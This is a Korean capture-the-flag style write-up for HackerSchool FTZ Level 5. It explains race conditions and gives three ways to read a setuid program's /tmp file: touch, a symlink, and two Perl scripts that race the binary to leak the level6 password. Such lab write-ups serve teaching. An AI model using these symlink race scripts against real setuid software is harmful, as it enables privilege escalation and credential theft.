HackerSchool FTZ Level 5 Write-Up

HackerSchool FTZ Level 5 Write-Up

in

이번에 풀어볼 문제는 HackerSchoolFTZ Level 5 입니다.
이번 문제는 Race Condition(경쟁 상태)에 대한 개념과 Symbolic Link 에 대한 선수지식을 필요로 합니다.

Race Condition(경쟁 상태)

하나의 공유자원에 여러개의 프로세스가 동시에 접근하려는 상태를 말합니다.
이러한 경쟁 상태를 이용해 관리자 권한을 탈취하거나 허가된 권한 이상의 파일에 접근할 수 있는데 이러한 공격을 레이스 컨디션 공격이라고 합니다.

Level 5 Write-Up

level5 계정에 접속 후 힌트를 봅니다.

$cat hint

image cat hint

level5 파일은 “/tmp/level5.tmp” 라는 임시파일을 생성한다고 합니다.
그러나 아래와 같이 level5를 실행하고, /tmp 디렉터리로 이동을 해보면 tmp 파일이 존재하지 않습니다.

$ level5
$ ls -la /tmp

image ls -la /tmp

level5 파일은 level6 유저의 권한으로 setuid가 걸려져 있는 파일입니다.
level6의 권한으로 /tmp 경로에 level5.tmp 라는 임시파일을 생성한 후 파일에 특정 데이터를 쓰고, 삭제하는 것으로 추정됩니다.

$ ls -la /usr/bin/level5

image ls -la /usr/bin/level5

문제를 풀고 난 후 확인해봤는데 문제풀이 방법이 세가지정도가 있는것 같아 클리어하기 쉬운방법부터 정리해봤습니다.

[1번째 방법] touch로 파일생성 후 덮어씌우기

/tmp 경로에 touch 명령어로 level5.tmp 파일을 생성한 후 level5 명령어를 실행 합니다.
파일의 크기가 31 byte인 것을 보아 무언가 내용이 써진것 같습니다.

$ cd /tmp
$ touch level5.tmp && level5
$ ls -la

image create level5.tmp

level6 계정의 패스워드를 알아냈습니다.

$ level5
$ cat level5.tmp

image level5 run and cat level5.tmp

[2번째 방법] 심볼릭 링크 생성후 덮어씌우기

touch 명령어로 test 파일을 생성 후 ln -s 명령어로 test 파일을 가리키는 level5.tmp 링크를 생성합니다.

심볼릭 링크로 연결된 상태기 때문에, level5.tmp에 입력하는 것은 test 파일에 입력하는 것과 동일하며 level5.tmp 파일이 삭제되더라도 test 파일에 등록된 내용 확인이 가능합니다.

$ touch test && ln -s test level5.tmp
$ ls -al

image create level5.tmp symlink

이후 level5 파일을 실행후 test 파일의 내용을 확인하면 level6 계정의 패스워드를 알아낼 수 있습니다.

$ level5
$ cat test

image run level5 and cat test

[3번째 방법] Race Condition 공격 이용하기

아마도 이 방법이 출제자의 의도에 맞는 방법이 아닐까 생각 합니다.
Race Condition 공격을 수행하기 위한 조건을 정리해보면 아래와 같습니다.

  • 1) 탈취 대상 유저의 권한으로 setuid가 걸려 있어야 한다.
  • 2) 임시 파일을 생성하며 임시파일을 이용한 처리 로직을 가져야 한다.
  • 3) 임시 파일의 파일명과 생성 경로를 알고 있어야 한다.

해당 문제의 level5 파일은 위 세가지 조건을 모두 충족하고 있습니다.

공격수행을 위한 perl 스크립트를 작성해보겠습니다.
(해당 스크립트는 홈디렉터리에 파일을 생성할 권한이 없기때문에 /tmp 경로에 생성해야 합니다.)

1) ‘/tmp/runlevel5.pl’

level5 파일을 계속해서 실행하기 위한 스크립트 입니다.

while(1) {
    system("/usr/bin/level5");
}

2) ‘/tmp/makesymlink.pl’

symlink를 생성하며 test 파일의 내용을 출력합니다.

system("echo 'none' > /tmp/test"); # /tmp/test 파일을 생성합니다.
for ($i = 0; $i < 30; ++$i) {
    system("ln -s test /tmp/level5.tmp"); # test 파일을 가리키는 /tmp/level5.tmp 링크를 생성합니다.
    system("cat /tmp/test"); # /tmp/test 파일의 내용을 출력합니다.
    unlink("/tmp/level5.tmp"); # level5.tmp 링크를 삭제합니다.
}
unlink("/tmp/test");

‘runlevel5.pl’ 스크립트를 백그라운드로 실행해서 ls 명령어를 여러번 수행해보면 예상한대로 level5.tmp 파일이 바로 생성되었다가 지워지는 것을 확인 할 수 있습니다.

$ perl runlevel5.pl &
$ ls

image perl runlevel5.pl &

image ls

이 상태에서 “makesymlink.pl” 스크립트를 실행 합니다.
공격이 한번에 성공하지 않을 수 있으니 반복 횟수를 늘리거나 여러번 실행해야 합니다.

$ perl makesymlink.pl

image perl makesymlink.pl

최종적으로 level6 계정의 패스워드 what the hell 를 획득했습니다.

index.html

index.html 파일에서 아래와 같은 내용을 확인할 수 있습니다.

$ cat index.html

image index.html